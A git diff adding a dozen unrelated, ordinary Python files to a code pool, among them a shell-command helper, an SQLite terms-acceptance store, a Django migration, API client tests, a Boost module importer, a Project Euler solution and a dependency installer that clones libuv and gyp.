+ + opts, args = options.parse_args() + + if len(args) < 1: + options.print_help() + return + + if opts.debug: + logging.basicConfig(level=logging.DEBUG) + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + print 'Connecting...' + + s.settimeout(5) + s.connect((args[0], opts.port)) + f = s.makefile('rw', 0) + f = LoggedFile(f) + + if len(args) == 2: + name = args[1] + else: + name = args[0] + + server_name(f, name) + +if __name__ == '__main__': + main() + + diff --git a/pool/shard009/Python/0081585_shell.py b/pool/shard009/Python/0081585_shell.py new file mode 100644 index 0000000000000000000000000000000000000000..439fb1c7eff74b861def6e0e69562ad97b0e5eda --- /dev/null +++ b/pool/shard009/Python/0081585_shell.py @@ -0,0 +1,67 @@ +#!/usr/bin/python +# +# The MIT License (MIT) +# +# Copyright (c) 2014 Corrado Ubezio +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +# How to Make Your Linux PC Wake From Sleep Automatically +# Link http://www.howtogeek.com/121241/how-to-make-your-linux-pc-wake-from-sleep-automatically/ +# +from subprocess32 import check_output, CalledProcessError, STDOUT + +class ShellError(Exception): + def __init__(self, value): + self.value = value + def __str__(self): + return "{0}".format(self.value) + +def callExt(cmd): + retcode = 0 + cmdOutput = '' + try: + cmdOutput = check_output(cmd, stderr=STDOUT, shell=True) + except OSError as e: + raise ShellError(e) + except CalledProcessError as e: + # Exception raised when a process returns a non-zero exit status + retcode = e.returncode + cmdOutput = e.output + return retcode, cmdOutput + + +if __name__ == "__main__": + print 'callExt with normal process termination' + exitStatus, output = callExt("ls") + print exitStatus + print output + print 'callExt when a process returns a non-zero exit status' + exitStatus, output = callExt("ls non_existent_file") + print exitStatus + print output + print 'callExt with non existent command' + exitStatus, output = callExt('non_existent_command') + print exitStatus + print output + print 'callExt reporting ShellError' + exitStatus, output = callExt('cd some_non_existing_dir') + print exitStatus + print output + diff --git a/pool/shard009/Python/0081586_terms_conditions.py b/pool/shard009/Python/0081586_terms_conditions.py new file mode 100644 index 0000000000000000000000000000000000000000..5f832cc9ffa0cc04515e282f94cb2c0b58239aa4 --- /dev/null +++ b/pool/shard009/Python/0081586_terms_conditions.py @@ -0,0 +1,64 @@ +import json +import sqlite3 + +class TermsAndConditionsDB(object): + db_file = 'terms_conditions.db' + + def __init__(self): + self.con = sqlite3.connect(TermsAndConditionsDB.db_file) + with self.con: + cursor = self.con.cursor() + cursor.execute('''CREATE TABLE IF NOT EXISTS terms_conditions_accepts(user_urn TEXT PRIMARY KEY, accept_json TEXT, until_date TEXT)''') + self.con.close() + + def find_user_accepts(self, user_urn): + """ + + :return: a pair of a date and dict mapping strings to booleans + """ + self.con = sqlite3.connect(TermsAndConditionsDB.db_file) + try: + with self.con: + cursor = self.con.cursor() + cursor.execute('''SELECT accept_json, until_date FROM terms_conditions_accepts WHERE user_urn=?''', (user_urn,)) + for row in cursor: + # return (row['until_date'], json.loads(row['accept_json'])) + return (row[1], json.loads(row[0])) + return None + finally: + self.con.close() + + def register_user_accepts(self, user_urn, accepts, until): + """ + + :param user_urn: user urn (str) + :type user_urn: str + :param accepts: a dict which lists what the user has accepted (str -> bool) + :type accepts: dict[str, bool] + :param until: RFC3339 formatted date until which the accepts are valid + :type until: str + """ + self.con = sqlite3.connect(TermsAndConditionsDB.db_file) + try: + with self.con: + cursor = self.con.cursor() + cursor.execute('''INSERT OR REPLACE INTO terms_conditions_accepts (user_urn, accept_json, until_date) + VALUES (?, ?, ?)''', (user_urn, json.dumps(accepts), until)) + return + finally: + self.con.close() + + def delete_user_accepts(self, user_urn): + """ + + :param user_urn: user urn (str) + :type user_urn: str + """ + self.con = sqlite3.connect(TermsAndConditionsDB.db_file) + try: + with self.con: + cursor = self.con.cursor() + cursor.execute('''DELETE FROM terms_conditions_accepts WHERE user_urn=?''', (user_urn,)) + return + finally: + self.con.close() diff --git a/pool/shard009/Python/0081587_0003_config_model_feature_flag.py b/pool/shard009/Python/0081587_0003_config_model_feature_flag.py new file mode 100644 index 0000000000000000000000000000000000000000..4bd12d11f068831cd4461434805226783fb2dbf9 --- /dev/null +++ b/pool/shard009/Python/0081587_0003_config_model_feature_flag.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- +from __future__ import absolute_import, unicode_literals + +import django.db.models.deletion +from django.conf import settings +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('bulk_email', '0002_data__load_course_email_template'), + ] + + operations = [ + migrations.CreateModel( + name='BulkEmailFlag', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('change_date', models.DateTimeField(auto_now_add=True, verbose_name='Change date')), + ('enabled', models.BooleanField(default=False, verbose_name='Enabled')), + ('require_course_email_auth', models.BooleanField(default=True)), + ('changed_by', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, editable=False, to=settings.AUTH_USER_MODEL, null=True, verbose_name='Changed by')), + ], + ), + ] diff --git a/pool/shard009/Python/0081589_validator.py b/pool/shard009/Python/0081589_validator.py new file mode 100644 index 0000000000000000000000000000000000000000..582d9dd2bf412ca9a6829aaa529dc9f23f26c4a3 --- /dev/null +++ b/pool/shard009/Python/0081589_validator.py @@ -0,0 +1,118 @@ +import trafaret as t + +from .utils import with_metaclass + + +def _prepare_trafaret_instance(value): + if isinstance(value, t.Trafaret): + return value + elif issubclass(value.__class__, t.Trafaret.__class__): + return value() + return + + +class TrafaretValidatorMeta(type): + def __new__(mcs, clsname, bases, dct): + _dct = {} + _dct_validators = {} + _validators = {} + for name, value in dct.items(): + trafaret_instance = _prepare_trafaret_instance(value) + if trafaret_instance: + _dct_validators[name] = trafaret_instance + else: + _dct[name] = value + + cls = super(TrafaretValidatorMeta, mcs).__new__(mcs, clsname, bases, _dct) + _validators.update(getattr(cls, '_validators')) + _validators.update(_dct_validators) + setattr(cls, '_validators', _validators) + setattr(cls, '_trafaret', t.Dict(_validators)) + return cls + + def __repr__(cls): + return '<{0.__name__} trafaret={0._trafaret}>'.format(cls) + + +class TrafaretValidator(with_metaclass(TrafaretValidatorMeta)): + _validators = {} + _trafaret = {} + _errors = {} + _data = {} + + def __init__(self, **kwargs): + self._params = self._prepare_params(kwargs) + + def __getattr__(self, name): + try: + return self._data[name] + except KeyError: + raise AttributeError(name) + + def __setattr__(self, name, value): + if name in self._validators.keys(): + raise AttributeError('Cannot reassign validator.') + + trafaret_instance = _prepare_trafaret_instance(value) + if trafaret_instance: + _validators = self._validators.copy() + _validators[name] = trafaret_instance + self.__dict__['_validators'] = _validators + self.__dict__['_trafaret'] = t.Dict(self._validators) + else: + self.__dict__[name] = value + + def _prepare_params(self, params): + prepared_params = {} + for attr_name in self._validators.keys(): + prepared_params[attr_name] = params.get(attr_name) + return prepared_params + + @property + def validators(self): + return self._validators.copy() + + @property + def trafaret(self): + return self._trafaret + + @property + def errors(self): + return self._errors.copy() + + @property + def params(self): + return self._params.copy() + + @property + def data(self): + return self._data.copy() + + def validate(self): + try: + self._data = self._trafaret.check(self.params) + return True + except t.DataError as error: + self._errors = error.as_dict() + return False + + def validate_params(self, params): + try: + self._data = self._trafaret.check(self._prepare_params(params)) + return True + except t.DataError as error: + self._errors = error.as_dict() + return False + + def set_params(self, params): + self._params = self._prepare_params(params.copy()) + + def __repr__(self): + return ''.format( + validation_result=self.validate(), + data=self._data, + errors=self._errors, + ) diff --git a/pool/shard009/Python/0081594_test_update.py b/pool/shard009/Python/0081594_test_update.py new file mode 100644 index 0000000000000000000000000000000000000000..625e70a00eff64a415713e7089f0d4d3ce23a3af --- /dev/null +++ b/pool/shard009/Python/0081594_test_update.py @@ -0,0 +1,113 @@ +from nose.tools import eq_ +from mock import MagicMock + +from buffpy.models.update import Update, PATHS + +def test_update_retrieving(): + ''' + Test basic update retrieving based on update's id + ''' + + mocked_api = MagicMock() + mocked_api.get.return_value = { + 'text': 'me', + 'id': 1 + } + + update = Update(api=mocked_api, id=1) + + mocked_api.get.assert_called_once_with(url='updates/1.json') + eq_(update.api, mocked_api) + eq_(update.text, 'me') + +def test_update_interactions(): + ''' + Test basic analytics retrieving + ''' + + mocked_api = MagicMock() + mocked_api.get.return_value = {'interactions': [{'replies': 3}]} + + update = Update(mocked_api, raw_response={'id': 1, 'text': 'hey'}) + + eq_(update.interactions, [{'replies': 3}]) + mocked_api.get.assert_called_once_with(url='updates/1/interactions.json') + +def test_update_edit(): + ''' + Test basic update editing + ''' + + mocked_api = MagicMock() + mocked_api.post.return_value = { + 'update': {'id': 1, 'text': 'hey!'} + } + + update = Update(mocked_api, raw_response={'id':1, 'text': 'ola!'}) + new_update = update.edit(text='hey!') + + assert_update = Update(mocked_api, raw_response={'id':1, 'text': 'hey!'}) + + post_data = 'text=hey!&' + mocked_api.post.assert_called_once_with(url='updates/1/update.json', + data=post_data) + eq_(new_update, assert_update) + +def test_update_edit_params(): + ''' + Test basic update editing with all the params + ''' + + mocked_api = MagicMock() + mocked_api.post.return_value = { + 'update': {'id': 1, 'text': 'hey!'} + } + + update = Update(mocked_api, raw_response={'id':1, 'text': 'ola!'}) + new_update = update.edit(text='hey!', media={'link':'w'}, utc="a", now=True) + + assert_update = Update(mocked_api, raw_response={'id':1, 'text': 'hey!'}) + + post_data = 'text=hey!&now=True&utc=a&media[link]=w&' + mocked_api.post.assert_called_once_with(url='updates/1/update.json', + data=post_data) + eq_(new_update, assert_update) + +def test_udpate_publishing(): + ''' + Test basic update publishing + ''' + + mocked_api = MagicMock() + mocked_api.post.return_value = True + + response = Update(api=mocked_api, raw_response={'id': 1}).publish() + + mocked_api.post.assert_called_once_with(url="updates/1/share.json") + eq_(response, True) + +def test_update_deleting(): + ''' + Test update's deleting + ''' + + mocked_api = MagicMock() + mocked_api.post.return_value = True + + response = Update(api=mocked_api, raw_response={'id': 1}).delete() + + mocked_api.post.assert_called_once_with(url='updates/1/destroy.json') + eq_(response, True) + +def test_update_move_to_top(): + ''' + Test move_to_top implementation + ''' + + mocked_api = MagicMock() + mocked_api.post.return_value = {'id': 1, 'text': 'hey'} + + response = Update(api=mocked_api, raw_response={'id': 1}).move_to_top() + + mocked_api.post.assert_called_once_with(url='updates/1/move_to_top.json') + eq_(response.text, 'hey') diff --git a/pool/shard009/Python/0081595_app.py b/pool/shard009/Python/0081595_app.py new file mode 100644 index 0000000000000000000000000000000000000000..0e42f264fd2fcd189fa550bf1e493331050a3d8c --- /dev/null +++ b/pool/shard009/Python/0081595_app.py @@ -0,0 +1,22 @@ +import tornado.ioloop +import tornado.web +import time + +class SleepHandler(tornado.web.RequestHandler): + @tornado.web.asynchronous + def get(self): + time.sleep(10) + self.write('awake') + +class ImmediateHandler(tornado.web.RequestHandler): + def get(self): + self.write('I am very fast') + +application = tornado.web.Application([ + (r'/sleep', SleepHandler), + (r'/immediate', ImmediateHandler) + ]) + +if __name__ == '__main__': + application.listen(9000) + tornado.ioloop.IOLoop.current().start() diff --git a/pool/shard009/Python/0081597_WakeAction.py b/pool/shard009/Python/0081597_WakeAction.py new file mode 100644 index 0000000000000000000000000000000000000000..269254aa41ae0b80490dc35153c24fa595d9ec38 --- /dev/null +++ b/pool/shard009/Python/0081597_WakeAction.py @@ -0,0 +1,28 @@ +from Action import Action +import subprocess +from wakeonlan import wol +from mpd import (MPDClient, CommandError) + +class WakeAction(Action): + """MusicPlayer for Alfred""" + def __init__(self, cfg): + super(WakeAction, self).__init__(cfg) + self.triggers = ["wake"] + self.mpd = MPDClient() + self.mpd.connect("localhost", "6600") + + def do(self, command): + print "Will wake the computer", " ".join(command) + ret = "Unknown PC SIR" + for arg in command: + for pc in self.cfg["wol"]["pcs"]: + if arg == pc["nom"]: + print "Wake: ", pc["mac"] + wol.send_magic_packet(pc["mac"]) + ret = "Wake Done SIR" + return ret + + def is_for_you(self, word): + if word in self.triggers: + return True + return False diff --git a/pool/shard009/Python/0081600_FileProfile.py b/pool/shard009/Python/0081600_FileProfile.py new file mode 100644 index 0000000000000000000000000000000000000000..140366c43ee9a6c998da1c18d23f6d9cc380242d --- /dev/null +++ b/pool/shard009/Python/0081600_FileProfile.py @@ -0,0 +1,58 @@ +## @file +# fragments of source file +# +# Copyright (c) 2007 - 2010, Intel Corporation. All rights reserved.
+# +# This program and the accompanying materials +# are licensed and made available under the terms and conditions of the BSD License +# which accompanies this distribution. The full text of the license may be found at +# http://opensource.org/licenses/bsd-license.php +# +# THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, +# WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. +# + +## +# Import Modules +# + +import re +import os +from ParserWarning import Warning + +# Profile contents of a file +PPDirectiveList = [] +AssignmentExpressionList = [] +PredicateExpressionList = [] +FunctionDefinitionList = [] +VariableDeclarationList = [] +EnumerationDefinitionList = [] +StructUnionDefinitionList = [] +TypedefDefinitionList = [] +FunctionCallingList = [] + +## Class FileProfile +# +# record file data when parsing source +# +# May raise Exception when opening file. +# +class FileProfile : + + ## The constructor + # + # @param self: The object pointer + # @param FileName: The file that to be parsed + # + def __init__(self, FileName): + self.FileLinesList = [] + self.FileLinesListFromFile = [] + try: + fsock = open(FileName, "rb", 0) + try: + self.FileLinesListFromFile = fsock.readlines() + finally: + fsock.close() + + except IOError: + raise Warning("Error when opening file %s" % FileName) diff --git a/pool/shard009/Python/0081602_setup.py b/pool/shard009/Python/0081602_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..8dcf5b3d98007ffc372c8456b7a3bde92e14d62e --- /dev/null +++ b/pool/shard009/Python/0081602_setup.py @@ -0,0 +1,87 @@ +import os +import warnings +from os.path import join + + +def configuration(parent_package='', top_path=None): + from numpy.distutils.misc_util import Configuration + from numpy.distutils.system_info import get_info, BlasNotFoundError + import numpy + + libraries = [] + if os.name == 'posix': + libraries.append('m') + + config = Configuration('sklearn', parent_package, top_path) + + config.add_subpackage('__check_build') + config.add_subpackage('_build_utils') + config.add_subpackage('svm') + config.add_subpackage('datasets') + config.add_subpackage('datasets/tests') + config.add_subpackage('feature_extraction') + config.add_subpackage('feature_extraction/tests') + config.add_subpackage('cluster') + config.add_subpackage('cluster/tests') + config.add_subpackage('covariance') + config.add_subpackage('covariance/tests') + config.add_subpackage('cross_decomposition') + config.add_subpackage('decomposition') + config.add_subpackage('decomposition/tests') + config.add_subpackage("ensemble") + config.add_subpackage("ensemble/tests") + config.add_subpackage('feature_selection') + config.add_subpackage('feature_selection/tests') + config.add_subpackage('utils') + config.add_subpackage('utils/tests') + config.add_subpackage('externals') + config.add_subpackage('mixture') + config.add_subpackage('mixture/tests') + config.add_subpackage('gaussian_process') + config.add_subpackage('gaussian_process/tests') + config.add_subpackage('neighbors') + config.add_subpackage('neural_network') + config.add_subpackage('preprocessing') + config.add_subpackage('preprocessing/tests') + config.add_subpackage('manifold') + config.add_subpackage('metrics') + config.add_subpackage('semi_supervised') + config.add_subpackage("tree") + config.add_subpackage("tree/tests") + config.add_subpackage('metrics/tests') + config.add_subpackage('metrics/cluster') + config.add_subpackage('metrics/cluster/tests') + config.add_subpackage('model_selection') + config.add_subpackage('model_selection/tests') + + # add cython extension module for isotonic regression + config.add_extension( + '_isotonic', + sources=['_isotonic.c'], + include_dirs=[numpy.get_include()], + libraries=libraries, + ) + + # some libs needs cblas, fortran-compiled BLAS will not be sufficient + blas_info = get_info('blas_opt', 0) + if (not blas_info) or ( + ('NO_ATLAS_INFO', 1) in blas_info.get('define_macros', [])): + config.add_library('cblas', + sources=[join('src', 'cblas', '*.c')]) + warnings.warn(BlasNotFoundError.__doc__) + + # the following packages depend on cblas, so they have to be build + # after the above. + config.add_subpackage('linear_model') + config.add_subpackage('utils') + + # add the test directory + config.add_subpackage('tests') + + return config + + +if __name__ == '__main__': + from numpy.distutils.core import setup + + setup(**configuration(top_path='').todict()) diff --git a/pool/shard009/Python/0081609_import_boost.py b/pool/shard009/Python/0081609_import_boost.py new file mode 100644 index 0000000000000000000000000000000000000000..d3b250fda07a017d1ce7d437268941ec13704383 --- /dev/null +++ b/pool/shard009/Python/0081609_import_boost.py @@ -0,0 +1,186 @@ +#!/usr/bin/env python3 + +# Helper file for pulling all modules of modularized Boost from +# github separately, which is a few dozen modules. +# +# To import all of boost and then build boost_regex run these cmds: +# >./import_boost.py all 1.57.0 +# >./scan_deps.py boost* # optional -r +# >./detect_cycles.py # should not detect dependency cycles +# >./merge_boost_cycles.py 1.57.0 # 'fixes' dep cycles +# Sadly this doesn't work as of today without generating plenty of module +# dependency cycles, see details below at fix_annoying_dependency_cycle(). +# +# Currenty for boost 1.57 these cycles here are detected by detect_cycles.py: +# {mpl type_traits typeof utility} # resolved by merging all these modules into library/boost-mpl +# {'boost-random', 'boost-range', 'boost-tr1', 'boost-lexical_cast', 'boost-math', 'boost-algorithm'} +# {'boost-graph_parallel', 'boost-property_map', 'boost-bimap', 'boost-disjoint_sets', 'boost-graph', 'boost-mpi'} +# {'boost-date_time', 'boost-spirit', 'boost-serialization', 'boost-pool', 'boost-thread'} +# +# Here some more info on these cycles: +# https://svn.boost.org/trac/boost/wiki/ModuleDepednecies +# Some of these cycles were alrdy broken after the 1.57 boost release, e.g. see +# https://github.com/boostorg/range/commit/4f3bdbe4d3cdd307c6a07406f42e81806ea0a922 +# removed the boost-algorithm dep from boost-range. + +import argparse +import json +import re +import urllib.request +import os +import os.path +import shutil +import bru +import copy +from collections import OrderedDict +import pdb # only if you want to add pdb.set_trace() + +def get_boost_lib_names(): + + # where's a good & uptodate list of (modularized) Boost libs? + # I only see https://github.com/boostorg/boost/tree/master/libs, which is + # in HTML format only. + response = urllib.request.urlopen("https://github.com/boostorg/boost/tree/master/libs") + assert response.status == 200 + html = response.read().decode(response.headers.get_content_charset()) + + # Parsing the github HTML is kinda tedious, and the HTML can change anytime. + # I wasn't keen on a git clone just to get one directory though. + # Just scan the HTML for 'title="../accumulators.git @ 69dcfd15', which is + # pretty crappy: + matches = re.findall('\\.\\.\\/(.*)\\.git @', html) + assert len(matches) > 10 and 'asio' in matches, "regex is outdated, update it" + + # math depends on numeric_conversion, sadly the numeric module is the only + # one split into submodules, needing special treatment. Libs are listed here: + # https://github.com/boostorg/boost/tree/master/libs/numeric + if not 'numeric_conversion' in matches: + matches.append('numeric_conversion') + + return matches + +def import_boost(boost_lib, version): + """ param boost_lib like "asio", version like "1.57.0" """ + + assert re.match("[a-z0-9_]+", boost_lib) + bru_module_name = "boost-" + boost_lib + tar_url = "https://github.com/boostorg/" + boost_lib + "/archive/boost-" + version + ".tar.gz" + bru_modules = "./bru_modules" + bru.unpack_dependency(bru_modules, bru_module_name, + version, tar_url) + + # now that the modularized boost dep was unpacked in ./bru_modules, + # so lets inspect it: + + # this here is the dir the tar was extracted into: + tar_root_dir = os.path.join(bru_modules, bru_module_name, version) + + # this is one level below the tar_root_dir, it's the dir which should + # have an ./include dir. + tar_content_dir = os.path.join(tar_root_dir, boost_lib + "-boost-" + version) + + assert os.path.exists(tar_content_dir) + assert os.path.exists(os.path.join(tar_content_dir, "include")) + print("downloaded " + boost_lib + " to " + tar_content_dir) + + formula = OrderedDict([ + ("homepage", "http://www.boost.org/"), + ("url", "https://github.com/boostorg/{}/archive/boost-{}.tar.gz"\ + .format(boost_lib, version)), + ("module", bru_module_name), + ("version", version), + ]) + + # some boost libs have a src dir (e.g. boost-regex), but most don't. The + # gyp target will need to know if the lib is #include-only or not: + include_dir = os.path.join(tar_content_dir, "include") + src_dir = os.path.join(tar_content_dir, "src") + assert os.path.exists(include_dir) + has_src_dir = os.path.exists(src_dir) + + def get_dir_relative_to_gyp(path): + return os.path.relpath(path, start=os.path.dirname(tar_root_dir)) + + gyp_target =\ + OrderedDict([ + ('target_name', bru_module_name), + ('type', 'static_library' if has_src_dir else 'none'), + ('include_dirs', [ get_dir_relative_to_gyp(include_dir) ]), + # I wish I could use direct_dependent_settings here, but I cannot: + ('all_dependent_settings', { + 'include_dirs' : [ get_dir_relative_to_gyp(include_dir) ] + }) + ]) + if has_src_dir: + gyp_target['sources'] = [ + os.path.join(get_dir_relative_to_gyp(src_dir), "*.cpp") ] + + def has_subdirs(dir): + for file in os.listdir(dir): + if os.path.isdir(os.path.join(dir, file)): + return True + return False + # src_dir should be flat, otherwise we'd have to use a different + # 'sources' expression in the gyp file. One boost dir that violates + # this is boost.context, with an asm subdir + libs_with_known_src_subdirs = [ + 'context', # asm subdir + 'coroutine', # posix and windows subdirs + 'date_time', # posix_time + 'locale', + 'math', + 'mpi', + 'python', + 'thread', + 'wave', + ] + assert not has_subdirs(src_dir) or boost_lib in libs_with_known_src_subdirs + + gyp = { "targets": [ gyp_target ] } + + # here we could in theory also determine deps between boost modules + # automatically by finding #include statements in cpp and hpp files, and + # by searching all local boost_modules for which boost module provides + # each #include. But let's rather have a more general tool do that for + # arbitrary libraries, not just for boost. + # See scan_deps.py for that tool. + + library_root = "./library" + if not os.path.isdir(library_root): + raise Exception("expected to run script in repo root with " + libary_root + " dir") + + if not os.path.exists(os.path.join(library_root, bru_module_name)): + print('saving', bru_module_name, 'to library') + bru.save_formula(formula) + bru.save_gyp(formula, gyp) + else: + print('skipping existing module', bru_module_name) + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("module", help = "e.g. asio or 'all' to get all boost libs") + parser.add_argument("version", help = "version of boost lib to imp, e.g. 1.57.0") + args = parser.parse_args() + all_boost_lib_names = get_boost_lib_names() + boost_lib = args.module + version = args.version + + def remove_prefix(text, prefix): + return text[len(prefix):] if text.startswith(prefix) else text + + def remove_prefixes(text, prefixes): + for prefix in prefixes: + text = remove_prefix(text, prefix) + return text + + boost_lib = remove_prefixes(boost_lib, ['boost-', 'boost_']) + if boost_lib == 'all': + for boost_lib in all_boost_lib_names: + import_boost(boost_lib, version) + else: + assert boost_lib in all_boost_lib_names + import_boost(boost_lib, version) + + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0081613_problem_067.py b/pool/shard009/Python/0081613_problem_067.py new file mode 100644 index 0000000000000000000000000000000000000000..d7f628b58ca58d1a5f5f57a089dd2523f18032ca --- /dev/null +++ b/pool/shard009/Python/0081613_problem_067.py @@ -0,0 +1,67 @@ +""" Copyright 2012, August 07 + Written by Pattarapol (Cheer) Iamngamsup + E-mail: IAM.PATTARAPOL@GMAIL.COM + + Maximum path sum II + Problem 67 + + By starting at the top of the triangle below + and moving to adjacent numbers on the row below, + the maximum total from top to bottom is 23. + + 3 + 7 4 + 2 4 6 + 8 5 9 3 + + That is, 3 + 7 + 4 + 9 = 23. + + Find the maximum total from top to bottom in triangle.txt + + NOTE: This is a much more difficult version of Problem 18. + It is not possible to try every route to solve this problem, + as there are 299 altogether! + If you could check one trillion (1012) routes every second + it would take over twenty billion years to check them all. + There is an efficient algorithm to solve it. ;o) +""" + +################################################# +# Importing libraries & modules +import datetime + +from problem_018 import getAnswer + +################################################# +# Global variables +InputFilePath = 'problem_067.txt' + +################################################# +# Functions + +################################################# +# Classes + +################################################# +# Main function +def main(): + + print( 'answer = {0}'.format( getAnswer( InputFilePath ) ) ) + +################################################# +# Main execution +if __name__ == '__main__': + # get starting date time + startingDateTime = datetime.datetime.utcnow() + print( 'startingDateTime = {0} UTC'.format( startingDateTime ) ) + + # call main function + main() + + # get ending date time + endingdateTime = datetime.datetime.utcnow() + print( 'endingdateTime = {0} UTC'.format( endingdateTime ) ) + + # compute delta date time + deltaDateTime = endingdateTime - startingDateTime + print( 'deltaDateTime = {0}'.format( deltaDateTime ) ) diff --git a/pool/shard009/Python/0081614_marker_streamer.py b/pool/shard009/Python/0081614_marker_streamer.py new file mode 100644 index 0000000000000000000000000000000000000000..6959834a5b60d22e82f14094cd82cce2cb86c00d --- /dev/null +++ b/pool/shard009/Python/0081614_marker_streamer.py @@ -0,0 +1,155 @@ +# -*- coding: utf-8 -*- +""" +Created on Fri Oct 14 20:18:12 2016 + +@author: DDmitarbeiter +""" +# %% + +# imports +import sys +import os +import time +import pylsl +import threading +import Queue +import logging + +import numpy.random as rnd +import numpy as np +import pandas as pd + +from IPython.core.debugger import Tracer + +logging.basicConfig(level=logging.INFO) +logger = logging.getLogger(__name__) +#from FACET_LSL import * + +class ThreadingSkeleton(object): + """ + Simple Skeleton for creating a Threading class that does not inherit from threading.Threat, + so the threads created here can be restarted. + Implements a Command Queue (cmd_q) - if a reply_q is needed, it will have to be overwritten + Has some features like an alive event flag + Implemented Methods: start(), join(), restart() + Methods needed to be implemented by the Child: run() + also stores the success of messages in self.last_cmd and exceptions in self.last_exc + """ + + def __init__(self, cmd_q=Queue.Queue(), name = 'ThreadingSkeleton', thread = threading.Thread()): # <- can be overwritten by using super(ChildClassName, self).__init__(name='XY') + self.thread = thread + self.thread.target = self.run + self.thread.name = name + self.cmd_q = cmd_q + self.alive = threading.Event() + self.alive.set() + self.name = name + self.last_cmd = None + self.last_exc = None + + def run(self): + pass + + def start(self, restart=False): + if not self.thread.isAlive(): + #self.join() + self.thread = threading.Thread(target=self.run, name = self.name) + self.alive.set() + self.thread.start() + else: + if restart: + self.restart() + else: + logger.info('Thread is running, doing nothing') + + def join(self, timeout=None): + try: + self.alive.clear() + threading.Thread.join(self.thread, timeout) + logger.info('Successfully stopped Thread %s', self.thread.name) + self.last_cmd = True + #self._handle_CLOSE() + except Exception as e: + logger.warning('Error while trying to join: %s', e) + self.last_cmd = False + self.last_exc = e + self.alive.clear() + + def restart(self): + if self.thread.is_alive(): + self.join() + while self.thread.isAlive(): + pass + self.start() + else: + self.start() + + def toggle(self): + if self.thread.isAlive(): + self.join() + else: + self.start() + +# %% + + +class MarkerGenerator(ThreadingSkeleton): + """ Threading Class that sends a marker every x seconds into LSL + """ + def __init__(self, send_event = threading.Event(), stop_event=threading.Event(), name='marker-gen-class', stream_name = 'halledi', + marker_labels = None, interval=4, marker_list = None): + super(MarkerGenerator, self).__init__(name=name) + self.stop_event = stop_event + self.marker_labels = marker_labels or ['block', 'validity', 'target_em', 'event', 'trial_no', 'other'] + self.marker_list = marker_list or ['em_fac', 'valid', 'disgusted', 'trial_start', '23', 'dg_up'] + self.marker_list_b = ['em_scrambled_', 'valid', 'disgusted', 'prime', '23', 'dg_up'] + self.send_event = send_event + self.interval = interval + self.stream_name = stream_name + + def setup_lsl(self, marker_labels): + marker_len = len(marker_labels) + self.info = pylsl.StreamInfo(self.stream_name, 'Markers', marker_len, 0, 'string', 'myid') + channels = self.info.desc().append_child('channels') + for c in self.marker_labels: + channels.append_child("channel") \ + .append_child_value("label", c) \ + .append_child_value("type", "Markers") + self.outlet = pylsl.StreamOutlet(self.info) + logger.info('created outlet %s', self.outlet) + + def run(self): + self.counter = 0 + logger.info('MarkerGenerator Thread') + self.setup_lsl(self.marker_labels) + while self.alive.is_set(): + if not self.stop_event.wait(self.interval): + self.send() + else: + self.alive.clear() + + def send(self): + logger.debug('sending trigger now') + self.counter += 1 + if self.counter % 3 == 0: + mlist = self.marker_list + else: + mlist = self.marker_list_b + self.send_event.set() + self.outlet.push_sample(mlist) + self.send_event.clear() + + def cancel(self): + self.stop_event.set() + +#self.outlet.push_sample(marker_str) + +# %% + + +logger.setLevel(logging.INFO) +t = MarkerGenerator(stream_name = 'la') +t.start() + +#%% +stream_l = pylsl.resolve_byprop("name",'ladidudelda', timeout=8) diff --git a/pool/shard009/Python/0081619_install-dependencies.py b/pool/shard009/Python/0081619_install-dependencies.py new file mode 100644 index 0000000000000000000000000000000000000000..a650f8a9c5fa4c0d8f56d959f92be5d6118bf893 --- /dev/null +++ b/pool/shard009/Python/0081619_install-dependencies.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python + +import os + +script_dir = os.path.dirname(__file__) +root_dir = os.path.join(os.path.abspath(script_dir), '..') +deps_dir = os.path.join(root_dir, 'deps') +libuv_dir = os.path.join(deps_dir, 'libuv') +logh_dir = os.path.join(deps_dir, 'log') +build_dir = os.path.join(root_dir, 'build') +gyp_dir = os.path.join(build_dir, 'gyp') +home = os.path.expanduser('~') +dot_learnuv = os.path.join(home, '.learnuv') + +def log_info(msg): + print('\033[0;32mlearnuv\033[0m ' + msg) + +def mkdirp(dir): + try: + os.mkdir(dir) + except OSError: + pass + +def run(cmd): + log_info('executing: ' + cmd) + os.system(cmd) + +# libuv +mkdirp(deps_dir) +## todo: This may not work with older git versions (http://stackoverflow.com/questions/20280726/how-to-git-clone-a-specific-tag) +run('git clone --depth 1 --branch v1.7.5 https://github.com/libuv/libuv ' + libuv_dir) + +# gyp +mkdirp(build_dir) +run('git clone https://chromium.googlesource.com/external/gyp ' + gyp_dir) + +# log.h +run ('git clone --depth 1 https://github.com/thlorenz/log.h ' + logh_dir) + +# create ~/.learnuv +log_info('Creating directory to store results at ' + dot_learnuv) +mkdirp(dot_learnuv) diff --git 